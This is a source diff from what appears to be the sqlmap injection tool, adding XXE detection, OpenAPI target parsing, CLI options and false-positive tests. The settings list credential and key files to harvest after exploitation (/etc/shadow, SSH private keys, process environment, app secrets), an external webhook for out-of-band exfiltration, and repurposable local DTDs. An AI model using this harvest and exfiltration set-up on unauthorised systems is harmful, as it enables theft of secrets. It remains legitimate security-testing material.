CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))
# Patterns often seen in HTTP headers containing custom injection marking character '*'
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
# Note: the ';q=' quality-value class excludes '*' so a user-placed injection mark right after a
# quality value (e.g. 'Accept: ...;q=0.9*') is not swallowed (ref: #5357 - header injection was then
# missed on a GET lacking a Content-Length header, which is otherwise what forces params detection)
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)"
# Template used for common table existence check
BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
@ -1065,6 +1071,112 @@ SSTI_ERROR_SIGNATURES = (
SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES)
# XXE parser error signatures for detection and fingerprinting. Each tuple is
# (parser_family, regex_fragment). A match means the XML surface reached a real
# parser and the DOCTYPE/entity was processed (or rejected with a diagnostic) -
# useful both as an error-based oracle and to fingerprint the back-end parser.
XXE_ERROR_SIGNATURES = (
("libxml2 (PHP/lxml)", r"(?:failed to load (?:external entity|\")|xmlParseEntityRef|Entity '[^']*' not defined|EntityRef: expecting|Detected an entity reference loop|String not started expecting|StartTag: invalid element name|Start tag expected|Extra content at the end of the document|Premature end of data|error parsing DTD|internal error: Huge input lookup)"),
("PHP simplexml/DOM", r"(?:simplexml_load_string\(\)|DOMDocument::load(?:XML)?\(\)|SimpleXMLElement::__construct\(\))"),
("Java (Xerces/JAXP)", r"(?:org\.xml\.sax\.SAXParseException|com\.sun\.org\.apache\.xerces|javax\.xml\.stream\.XMLStreamException|The (?:entity|element type) \"[^\"]*\" was referenced|DOCTYPE is disallowed when the feature|External (?:DTD|parsed entities|Entity): failed|must be declared|had to be read but the maximum)"),
(".NET System.Xml", r"(?:System\.Xml\.XmlException|For security reasons DTD is prohibited|Reference to undeclared entity|An error occurred while parsing EntityName|XmlTextReaderImpl)"),
("Python expat", r"(?:xml\.parsers\.expat\.ExpatError|undefined entity|not well-formed \(invalid token\)|ExpatError)"),
("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity .* not defined)"),
("Go encoding/xml", r"XML syntax error on line \d+"),
("Generic XML", r"(?:XML (?:parsing|parse|syntax) error|malformed XML|unexpected (?:end of|<) )"),
)
XXE_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XXE_ERROR_SIGNATURES)
# Signatures indicating a hardened / XXE-safe parser posture (DTDs or external
# entities explicitly refused). Reported as "reachable but protected" - never a hit.
XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:external )?(?:DTD|entit(?:y|ies)) (?:are|is) (?:not (?:supported|allowed)|disabled|prohibited|forbidden)|loading of external|network access is not allowed|FEATURE_SECURE_PROCESSING|access to external)"
# Benign, low-entropy files used only to demonstrate file-read impact once XXE is
# confirmed. Deliberately NOT /etc/passwd (WAF honeypots key on "root:x:0:0") - a
# short host-identity file is enough to prove the read without tripping decoys.
# Out-of-band (interactsh) collector for blind XXE confirmation. Public default
# pool (best-effort, may rotate/be blocklisted by WAFs); override with --oob-server
# to point at a self-hosted interactsh-server. Correlation-id + nonce lengths match
# the interactsh defaults (subdomain = <20-char id><13-char nonce>.<server>).
OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me")
# Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration
# (hosts the malicious external DTD and captures the file-bearing callback). Unlike
# interactsh it can serve arbitrary content; HTTP-only. Used only on explicit consent.
OOB_EXFIL_ENDPOINT = "https://webhook.site"
OOB_CORRELATION_ID_LENGTH = 20
OOB_NONCE_LENGTH = 13
OOB_POLL_ATTEMPTS = 15 # generous: two-hop exfil (target fetches DTD, then calls back) over the
OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consistent API (best-effort)
# Time-based blind tier: an external entity aimed at this non-routable RFC5737
# TEST-NET-1 host makes a fetching parser stall on the connection, so a large,
# reproducible response delay betrays otherwise-blind XXE with NO collector needed.
# The delay must exceed a DTD-processing control baseline by this many seconds.
XXE_BLACKHOLE_HOST = "192.0.2.1"
XXE_TIME_THRESHOLD = 5
XXE_IMPACT_FILES = (
("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
)
# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
# this curated set of high-value, fixed-path files (host identity, process env/
# secrets, key material, common application drop paths) - the XXE analogue of the
# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each
# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently
# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids
# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are
# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted
# request is honoured verbatim instead).
XXE_FILE_HARVEST = (
"/etc/passwd",
"/etc/hostname",
"/etc/hosts",
"/etc/os-release",
"/etc/shadow",
"/etc/group",
"/proc/self/environ",
"/proc/self/cmdline",
"/proc/self/status",
"/proc/version",
"/root/.bash_history",
"/root/.ssh/id_rsa",
"/flag",
"/flag.txt",
"c:/windows/win.ini",
"c:/windows/system32/drivers/etc/hosts",
"c:/inetpub/wwwroot/web.config",
)
# Application web roots + source filenames used, once php://filter is available, to
# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its
# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter
# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline,
# environ}. Best-effort and bounded.
XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app")
XXE_SOURCE_NAMES = (
"index.php", "config.php", "config.inc.php", "secret.php",
"db.php", "database.php", "settings.php", "init.php", "functions.php",
"app.py", "server.py", "main.py", "wp-config.php", ".env",
)
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).
# Windows paths are community-sourced and remain UNVERIFIED vendor-side.
XXE_LOCAL_DTDS = (
("file:///usr/share/yelp/dtd/docbookx.dtd", "ISOamso"), # GNOME yelp - reliably repurposable
("file:///usr/share/xml/docbook/schema/dtd/4.5/docbookx.dtd", "ISOamso"), # docbook package
("file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd", "connection"),
("file:///usr/share/xml/fontconfig/fonts.dtd", "constant"), # widespread but gadget is version-fragile
("file:///C:/Windows/System32/wbem/cim20.dtd", "SuperClass"), # Windows paths community-sourced, UNVERIFIED
("file:///C:/Windows/System32/wbem/wmi20.dtd", "extension"),
("file:///C:/Windows/System32/xwizards/xwizard.dtd", "ELEMENT"),
("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"),
)
# Upper bound for SSTI value extraction (reserved for future use)
SSTI_MAX_LENGTH = 256

View file

@ -79,7 +79,7 @@ from lib.core.settings import XML_RECOGNITION_REGEX
from lib.core.threads import getCurrentThreadData
from lib.utils.hashdb import HashDB
from thirdparty import six
from thirdparty.odict import OrderedDict
from collections import OrderedDict
from thirdparty.six.moves import urllib as _urllib
def _setRequestParams():
@ -618,7 +618,7 @@ def _createFilesDir():
Create the file directory.
"""
if not any((conf.fileRead, conf.commonFiles)):
if not any((conf.fileRead, conf.commonFiles, conf.xxe)):
return
# Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir)

View file

@ -41,12 +41,12 @@ from lib.core.patch import unisonRandom
from lib.core.settings import IS_WIN
from lib.core.settings import RESTAPI_VERSION
def vulnTest():
def vulnTest(tests=None, label="vuln"):
"""
Runs the testing against 'vulnserver'
Runs the testing against 'vulnserver' (default suite, or a caller-supplied one e.g. FP_TESTS)
"""
TESTS = (
TESTS = tests if tests is not None else (
("-h", ("to see full list of options run with '-hh'",)),
("--dependencies", ("sqlmap requires", "third-party library")),
("-u <url> --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
@ -63,7 +63,7 @@ def vulnTest():
("-u <url> --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold
("-u <url> --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does
("-u <url> --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat
("-u <url> -p id --flush-session --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof
("-u <url> -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof
("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")),
("-l <log> --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
@ -73,7 +73,7 @@ def vulnTest():
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)),
("-u <url> --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)),
("-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
("-u <url> --flush-session --technique=BU --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
("-u <base> --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")),
("-u <base> --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"<root><param name=\\\"id\\\" value=\\\"1*\\\"/></root>\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
("-u <base> --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")),
@ -83,7 +83,7 @@ def vulnTest():
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")),
("-u <base> --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)),
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")),
("-u <url> --technique=BU --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")),
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
("-u <url> --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
("-u <url> --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor
@ -97,7 +97,7 @@ def vulnTest():
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
("-u <base>csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session", ("back-end DBMS: SQLite", "banner: '3.")),
("-u <base>csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")),
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
)
@ -263,9 +263,9 @@ def vulnTest():
clearConsoleLine()
if retVal:
logger.info("vuln test final result: PASSED")
logger.info("%s test final result: PASSED" % label)
else:
logger.error("vuln test final result: FAILED")
logger.error("%s test final result: FAILED" % label)
for filename in cleanups:
try:
@ -280,6 +280,31 @@ def vulnTest():
return retVal
def fpTest():
"""
On-demand false-positive battery ('--fp-test'): a set of deliberately NON-injectable traps that
each bait a specific FP defense (boolean confirmation, dynamic-content removal, structure-aware
comparison, canary/sanity gate, reflection, error-regex specificity, length and time heuristics),
paired with real injectable twins. An A+ engine rejects every trap AND still detects every twin.
Kept out of the default '--vuln-test' (CI budget); run explicitly against 'vulnserver'.
"""
FP_TESTS = (
# false-positive traps -> sqlmap MUST NOT flag these as injectable
("-u \"<base>fp?trap=intcast&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # boolean confirmation / checkFalsePositives
("-u \"<base>fp?trap=structrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # structure-aware comparison
("-u \"<base>fp?trap=acceptall&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # canary / sanity gate (reads-everything-true)
("-u \"<base>fp?trap=reflect&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # reflection handling
("-u \"<base>fp?trap=errors&id=1\" -p id --technique=BE --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # error-regex specificity
("-u \"<base>fp?trap=lengthrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # length heuristics
("-u \"<base>fp?trap=slowrand&id=1\" -p id --technique=T --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # time-based statistical model
# true-positive twins -> sqlmap MUST still detect real injection (the discrimination that makes it A+)
("-u <url> -p id --technique=B --flush-session", ("identified the following injection point", "Type: boolean-based blind")),
("-u \"<url>&json=1\" -p id --technique=B --flush-session", ("identified the following injection point",)),
)
return vulnTest(tests=FP_TESTS, label="fp")
def apiTest():
"""
Runs a basic live test of the REST API: launches the server in a separate process

View file

@ -144,6 +144,12 @@ def cmdLineParser(argv=None):
target.add_argument("-c", dest="configFile",
help="Load options from a configuration INI file")
target.add_argument("--openapi", dest="openApiFile",
help="Derive targets from OpenAPI/Swagger (file/URL)")
target.add_argument("--openapi-base", dest="openApiBase",
help="Base URL for a host-less OpenAPI/Swagger spec")
# Request options
request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL")
@ -153,7 +159,7 @@ def cmdLineParser(argv=None):
request.add_argument("-H", "--header", dest="header",
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
request.add_argument("--method", dest="method",
request.add_argument("-X", "--method", dest="method",
help="Force usage of given HTTP method (e.g. PUT)")
request.add_argument("--data", dest="data",
@ -434,7 +440,7 @@ def cmdLineParser(argv=None):
help="Column values to use for UNION query SQL injection")
techniques.add_argument("--dns-domain", dest="dnsDomain",
help="Domain name used for DNS exfiltration attack")
help="Domain name used for DNS exfiltration attack (or 'interactsh' for zero-setup OOB)")
techniques.add_argument("--second-url", dest="secondUrl",
help="Resulting page URL searched for second-order response")
@ -523,7 +529,7 @@ def cmdLineParser(argv=None):
enumeration.add_argument("-C", dest="col",
help="DBMS database table column(s) to enumerate")
enumeration.add_argument("-X", dest="exclude",
enumeration.add_argument("--exclude", dest="exclude",
help="DBMS database identifier(s) to not enumerate")
enumeration.add_argument("-U", dest="user",
@ -784,6 +790,15 @@ def cmdLineParser(argv=None):
nonsql.add_argument("--ssti", dest="ssti", action="store_true",
help="Test for server-side template injection")
nonsql.add_argument("--xxe", dest="xxe", action="store_true",
help="Test for XML External Entity (XXE) injection")
nonsql.add_argument("--oob-server", dest="oobServer",
help="Out-of-band server for blind '--xxe'")
nonsql.add_argument("--oob-token", dest="oobToken",
help="Authentication token for a self-hosted '--oob-server'")
# Miscellaneous options
miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category")
@ -912,6 +927,9 @@ def cmdLineParser(argv=None):
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
help=SUPPRESS)
parser.add_argument("--fp-test", dest="fpTest", action="store_true",
help=SUPPRESS)
parser.add_argument("--api-test", dest="apiTest", action="store_true",
help=SUPPRESS)
@ -1169,7 +1187,7 @@ def cmdLineParser(argv=None):
else:
args.stdinPipe = None
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.openApiFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). "
errMsg += "Use -h for basic and -hh for advanced help\n"
parser.error(errMsg)

View file

@ -75,6 +75,8 @@ def configFileParser(configFile):
except Exception as ex:
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex)
raise SqlmapSyntaxException(errMsg)
finally:
configFP.close()
if not config.has_section("Target"):
errMsg = "missing a mandatory section 'Target' in the configuration file"

361
lib/parse/openapi.py Normal file
View file

@ -0,0 +1,361 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import json
import re
from lib.core.common import getSafeExString
from lib.core.data import logger
from lib.core.enums import HTTP_HEADER
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from thirdparty import six
from thirdparty.six.moves.urllib.parse import quote as _quote
try:
import yaml # optional (only needed for YAML specs)
except ImportError:
yaml = None
# Best-effort extraction of concrete request targets from an OpenAPI (v3) / Swagger (v2) document. The
# document is treated as a request generator, NOT a contract to validate: for every operation a single
# concrete request is synthesized (base URL + filled path + example query/body from the schema) and any
# operation that cannot be built is skipped with a warning, so a loose/incomplete spec degrades gracefully.
MAX_REF_DEPTH = 25
def _loadSpec(content):
try:
return json.loads(content)
except ValueError:
if yaml is None:
errMsg = "the provided OpenAPI/Swagger specification is not JSON and the optional "
errMsg += "'pyyaml' module (needed for YAML specifications) is not available"
raise ValueError(errMsg)
try:
return yaml.safe_load(content)
except Exception as ex:
raise ValueError("not valid JSON nor YAML (%s)" % getSafeExString(ex))
def _resolve(spec, node, seen=None, depth=0):
seen = seen or set()
if isinstance(node, dict) and "$ref" in node:
ref = node["$ref"]
if not isinstance(ref, six.string_types): # malformed '$ref' (non-string) -> treat as no ref
return {}
if ref in seen or depth > MAX_REF_DEPTH:
return {}
if not ref.startswith("#/"):
logger.warning("skipping external OpenAPI $ref '%s'" % ref)
return {}
seen = seen | set([ref])
current = spec
for part in ref[2:].split('/'):
part = part.replace("~1", "/").replace("~0", "~")
if not isinstance(current, dict) or part not in current:
logger.warning("skipping dangling OpenAPI $ref '%s'" % ref)
return {}
current = current[part]
return _resolve(spec, current, seen, depth + 1)
return node
EXAMPLE_MAX_DEPTH = 8 # request examples do not need deep nesting; caps runaway synthesis on large specs
def _example(spec, schema, seen=None, depth=0, cache=None):
# 'cache' memoizes the synthesized example per $ref across the whole run - big real-world specs
# (Stripe/GitHub/k8s) reuse the same large schemas across thousands of operations, so without this
# the extraction is exponential. 'depth' caps recursion for deeply nested / self-referential schemas.
seen = seen or set()
if cache is None:
cache = {}
if depth > EXAMPLE_MAX_DEPTH:
return "1"
ref = schema.get("$ref") if isinstance(schema, dict) else None
if not isinstance(ref, six.string_types): # only a string $ref is a valid (hashable) cache key
ref = None
if ref is not None and ref in cache:
return cache[ref]
schema = _resolve(spec, schema or {}, seen, depth)
if not isinstance(schema, dict):
return "1"
value = None
if "example" in schema:
value = schema["example"]
elif "const" in schema: # JSON Schema 2020-12 (OpenAPI 3.1)
value = schema["const"]
elif "default" in schema:
value = schema["default"]
elif isinstance(schema.get("examples"), list) and schema["examples"]:
value = schema["examples"][0]
elif isinstance(schema.get("enum"), list) and schema["enum"]:
value = schema["enum"][0]
else:
combinator = next((_ for _ in ("allOf", "oneOf", "anyOf") if schema.get(_)), None)
if combinator:
if combinator == "allOf":
merged = {}
for sub in schema[combinator]:
part = _example(spec, sub, seen, depth + 1, cache)
if isinstance(part, dict):
merged.update(part)
value = merged if merged else _example(spec, schema[combinator][0], seen, depth + 1, cache)
else:
value = _example(spec, schema[combinator][0], seen, depth + 1, cache)
else:
_type = schema.get("type")
if isinstance(_type, list): # OpenAPI 3.1 allows a list of types (e.g. ["string", "null"])
_type = next((_ for _ in _type if _ != "null"), None)
if _type == "object" or ("properties" in schema and not _type):
properties = schema.get("properties")
value = dict((name, _example(spec, sub, seen, depth + 1, cache)) for name, sub in (properties if isinstance(properties, dict) else {}).items())
elif _type == "array":
value = [_example(spec, schema.get("items") or {}, seen, depth + 1, cache)]
elif _type in ("integer", "number"):
value = 1
elif _type == "boolean":
value = True
elif _type == "string":
formats = {"uuid": "11111111-1111-1111-1111-111111111111", "date": "2020-01-01", "date-time": "2020-01-01T00:00:00Z", "email": "a@b.co", "byte": "MQ=="}
value = formats.get(schema.get("format"), "1")
else:
value = "1"
if ref is not None:
cache[ref] = value
return value
def _scalar(value):
if isinstance(value, bool):
return "true" if value else "false"
if isinstance(value, (int, float)):
return str(value)
if isinstance(value, six.string_types):
return value
try:
return json.dumps(value)
except TypeError: # e.g. datetime.date from a YAML 'example: 2020-01-01'
return str(value)
_NO_EXAMPLE = object()
def _explicitExample(spec, container):
# a concrete 'example'/'examples' declared on a parameter or media-type object - preferred over a
# schema-synthesized value (real specs carry the canonical, validation-passing sample here). 'examples'
# is a map of name -> {"value": ...} (each entry possibly a $ref).
if not isinstance(container, dict):
return _NO_EXAMPLE
if container.get("example") is not None: # 'null' -> treat as absent, fall back to schema synthesis
return container["example"]
examples = container.get("examples")
if isinstance(examples, dict) and examples:
first = _resolve(spec, next(iter(examples.values())))
if isinstance(first, dict) and first.get("value") is not None:
return first["value"]
return _NO_EXAMPLE
def _noMark(text):
# strip any custom injection mark already present in a synthesized value so only the intentionally
# appended mark (if any) survives (avoids a stray/second injection point)
return text.replace(CUSTOM_INJECTION_MARK_CHAR, "")
def _headerClean(text):
# remove characters that can not legally appear in an HTTP header name/value (CR, LF, NUL and other
# C0 controls) so a spec-supplied header can not inject extra headers or corrupt the request line
return re.sub(r"[\x00-\x1f\x7f]", "", text)
_HEADER_NAME_RE = re.compile(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z") # RFC 7230 header field-name token (no spaces / ':' / separators)
def _urlSafe(value, safe=""):
# percent-encode a synthesized value/name so it can not break the URL/body structure (spaces, '&',
# '=', '/', '?', '#', ...); py2/py3-safe (py2 urllib.quote needs bytes for non-ASCII). 'safe' keeps
# selected chars unescaped (e.g. "[]" for deep-object parameter names like filter[status]).
try:
return _quote(value.encode("utf-8") if isinstance(value, six.text_type) else str(value), safe=safe)
except Exception:
return value
def _baseUrl(spec, origin=None, servers=None):
# defensive throughout: a hostile/loose spec must not crash here (this runs outside the per-operation
# try/except, so an exception would abort the whole extraction). 'servers' overrides the spec-level
# 'servers' (used for per-path / per-operation 'servers').
basePath = spec.get("basePath") if isinstance(spec.get("basePath"), six.string_types) else ""
if basePath and not basePath.startswith("/"): # Swagger v2 basePath is a path -> ensure it is slash-prefixed
basePath = "/" + basePath
servers = servers if servers is not None else spec.get("servers")
if isinstance(servers, list) and servers and isinstance(servers[0], dict):
url = servers[0].get("url")
url = url if isinstance(url, six.string_types) else ""
variables = servers[0].get("variables")
if isinstance(variables, dict):
for name, meta in variables.items():
default = meta.get("default", "1") if isinstance(meta, dict) else "1"
url = url.replace("{%s}" % name, str(default))
if re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # absolute server URL -> used as declared (the host is NOT rewritten to the spec's own origin)
return url.rstrip('/')
return ((origin.rstrip('/') if origin else "") + "/" + url.lstrip('/')).rstrip('/') # relative server URL -> resolved against origin
if spec.get("host"): # Swagger v2 with an explicit host
schemes = spec.get("schemes")
scheme = schemes[0] if isinstance(schemes, list) and schemes else "https"
return "%s://%s%s" % (scheme, spec["host"], basePath.rstrip('/'))
return (origin.rstrip('/') if origin else "") + basePath.rstrip('/') # no servers/host -> spec's own origin
_METHODS = ("get", "post", "put", "delete", "patch", "options", "head")
def openApiTargets(content, origin=None):
"""
Returns a list of (url, method, data, headers) request tuples derived from an OpenAPI/Swagger
specification. 'headers' is a list of (name, value) tuples (matching conf.httpHeaders). 'origin'
(scheme://host[:port] of the specification's own location) is used only to resolve RELATIVE 'servers'
entries - absolute server URLs are used as declared. Path parameters and header/cookie values carry
the custom injection mark so they become testable injection points.
"""
spec = _loadSpec(content)
if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"):
errMsg = "no valid 'paths' object found in the provided OpenAPI/Swagger specification"
raise ValueError(errMsg)
try:
